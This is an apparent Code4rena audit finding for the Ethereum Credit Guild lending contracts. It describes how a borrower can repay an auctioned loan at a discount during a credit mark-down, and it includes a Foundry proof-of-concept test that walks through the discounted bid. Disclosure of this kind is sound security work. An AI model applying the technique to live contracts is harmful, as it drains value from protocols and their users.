Upgraded Q -> 3 from #556 [1706627549544]

Judge has assessed an item in Issue #556 as 3 risk. The relevant finding follows:

[L-02] Auctions active during a `mark down` allow borrowers to payback their loan at a discount, leaking value from the protocol

Bug Description

A loan's debt during auction represents a snapshot of the debt at a previous creditMultiplier value:

LendingTerm::_call#L664-L667

664:        // update loan in state
665:        uint256 loanDebt = getLoanDebt(loanId);
666:        loans[loanId].callTime = block.timestamp;
667:        loans[loanId].callDebt = loanDebt;

As seen above, line 665 performs a call to getLoanDebt, which retrieve's the loan's current debt with respect to the current creditMultiplier:

LendingTerm::getLoanDebt#L228-L230

 228:       uint256 creditMultiplier = ProfitManager(refs.profitManager)
 229:           .creditMultiplier();
 230:       loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

However, during auction the debt is compared against an updated principle, which takes into consideration an updated creditMultiplier:

LendingTerm::onBid#L751-L762

751:        uint256 creditMultiplier = ProfitManager(refs.profitManager)
752:            .creditMultiplier();
753:        uint256 borrowAmount = loans[loanId].borrowAmount;
754:        uint256 principal = (borrowAmount *
755:            loans[loanId].borrowCreditMultiplier) / creditMultiplier;
756:        int256 pnl;
757:        uint256 interest;
758:        if (creditFromBidder >= principal) {
759:            interest = creditFromBidder - principal;
760:            pnl = int256(interest);
761:        } else {
762:            pnl = int256(creditFromBidder) - int256(principal);

Note that in the above code, creditFromBidder is <= callDebt, depending on when the bid takes place. If the creditMultiplier is updated when the loan is in auction, then the callDebt of the loan will be less than what the loan should actually be (considering the updated creditMultiplier). This allows the borrower to bid during the first phase of the auction and receive their original collateral at a discount. In addition, because the callDebt (creditFromBidder) stays the same while the principle increases, then the difference (interest) will be less that it should be (considering the updated creditMultiplier).

Impact

When a borrower's loan is in auction during a mark down, the borrower is able to repay their loan, and receive their collateral, at a discount. This results in the protocol collecting less interest from the borrower. The difference between the interestExpected and the interestReceived is leaked from the protocol.

Proof of Concept

Place the following test inside of the /test/unit/loan/ directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

contract ReceiveCollatAtDiscount is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address borrower = address(0x02020202);
    address borrower2 = address(0x03030303);
    Core private core;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    MockERC20 collateral;
    MockERC20 USDC;
    SimplePSM private psm;
    RateLimitedMinter rlcm;
    AuctionHouse auctionHouse;
    LendingTerm term;

    uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
    uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
    uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0;
    uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0;
    uint256 constant _HARDCAP = 2_000_000e18; // 2 million

    uint256 public issuance = 0;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManager = new ProfitManager(address(core));
        collateral = new MockERC20();
        USDC = new MockERC20(); // 18 decimals for easy calculations 
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(
            address(core),
            address(profitManager)
        );
        rlcm = new RateLimitedMinter(
            address(core) /*_core*/,
            address(credit) /*_token*/,
            CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
            0 /*_maxRateLimitPerSecond*/,
            0 /*_rateLimitPerSecond*/,
            uint128(_HARDCAP) /*_bufferCap*/
        );
        auctionHouse = new AuctionHouse(address(core), 650, 1800);
        term = LendingTerm(Clones.clone(address(new LendingTerm())));
        term.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(USDC)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge 
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
    }

    function testReceiveCollateralAtDiscountAndLeakValue() public {
        // setup
        // 100% of profit goes to surplus buffer
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            1e18, // surplusBufferSplit
            0, // creditSplit
            0, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // debt ceiling for term is increased
        guild.mint(address(this), 1);
        guild.incrementGauge(address(term), 1);

        // borrower1 takes out loan for 1_000e18 Credit
        collateral.mint(borrower, 1_000e18);
        vm.startPrank(borrower);
        collateral.approve(address(term), 1_000e18);
        bytes32 loanId1 = term.borrow(1_000e18, 1_000e18);
        vm.stopPrank();

        // borrower2 takes out a loan for 1_000e18 Credit
        collateral.mint(borrower2, 1_000e18);
        vm.startPrank(borrower2);
        collateral.approve(address(term), 1_000e18);
        bytes32 loanId2 = term.borrow(1_000e18, 1_000e18);
        vm.stopPrank();

        // 1 year passes and both borrowers owe the same principle + interest
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + term.YEAR());

        assertEq(term.getLoanDebt(loanId1), 1_040e18);
        assertEq(term.getLoanDebt(loanId2), 1_040e18);

        // term is offboarded
        guild.removeGauge(address(term));
        assertEq(guild.isGauge(address(term)), false);

        // borrower1's loan is called
        term.call(loanId1);
        assertEq(term.getLoan(loanId1).callTime, block.timestamp);

        // borrowers still owe the same for their loans
        assertEq(term.getLoanDebt(loanId1), 1_040e18);
        assertEq(term.getLoanDebt(loanId2), 1_040e18);

        // bad debt is created/Credit is marked down while both loans are in auction
        vm.prank(address(term));
        profitManager.notifyPnL(address(term), -40e18);

        assertEq(profitManager.creditMultiplier(), 0.98e18);

        // borrower2 now owes more than borrower1, due to the markdown
        assertEq(term.getLoanDebt(loanId1), 1_040e18); // 1_040
        assertEq(term.getLoanDebt(loanId2), 1061224489795918367346); // ~ 1_061.2

        // borrower1 bids during the first phase of their auction and receives their collateral at a discount
        assertEq(collateral.balanceOf(borrower), 0); // borrower has 0 collateral to start
        assertEq(credit.balanceOf(address(profitManager)), 0); // profitManager has received 0 interest

        uint256 collateralExpected = term.getLoan(loanId1).collateralAmount;

        credit.mint(borrower, 40e18);
        vm.startPrank(borrower);
        credit.approve(address(term), 1_040e18);
        auctionHouse.bid(loanId1);
        vm.stopPrank();

        uint256 collateralReceived = collateral.balanceOf(borrower);
        assertEq(collateralExpected, collateralReceived);

        // interest received by the protocol for borrower1's loan
        // expected interest is 40e18 (4% of original 1_000 loan)
        uint256 interestReceivedLoan1 = credit.balanceOf(address(profitManager));

        assertEq(interestReceivedLoan1, 19591836734693877552); // ~ 19.59e18, i.e. NOT 40e18

        // borrower2 repays his loan before it is called and pays the correct amount of inflated Credit
        assertEq(collateral.balanceOf(borrower2), 0); // borrower2 has 0 collateral to start
        assertEq(credit.balanceOf(address(profitManager)), 19591836734693877552); // profitManager interest received so far

        collateralExpected = term.getLoan(loanId2).collateralAmount;

        credit.mint(borrower2, 61224489795918367346);
        vm.startPrank(borrower2);
        credit.approve(address(term), 1061224489795918367346);
        term.repay(loanId2);
        vm.stopPrank();

        collateralReceived = collateral.balanceOf(borrower);
        assertEq(collateralExpected, collateralReceived);

        // interest received by protocol for borrower2's loan
        uint256 interestReceivedLoan2 = credit.balanceOf(address(profitManager));

        assertEq(interestReceivedLoan2, 60408163265306122450); // ~ 60e18 due to mark down

        // interest received from borrower1's loan is less than what is received from borrower2's loan
        assertLt(interestReceivedLoan1, interestReceivedLoan2);

        // Note: borrower1 paid less Credit for their full collateral than borrower2
        // the protocol received less interest from borrower1's loan than from borrower2's loan
    }
}

Recommendation

The callDebt for a loan should be calculated dynamically during an auction, with consideration of the current creditMultiplier.

code-423n4 / 2023-12-ethereumcreditguild-findings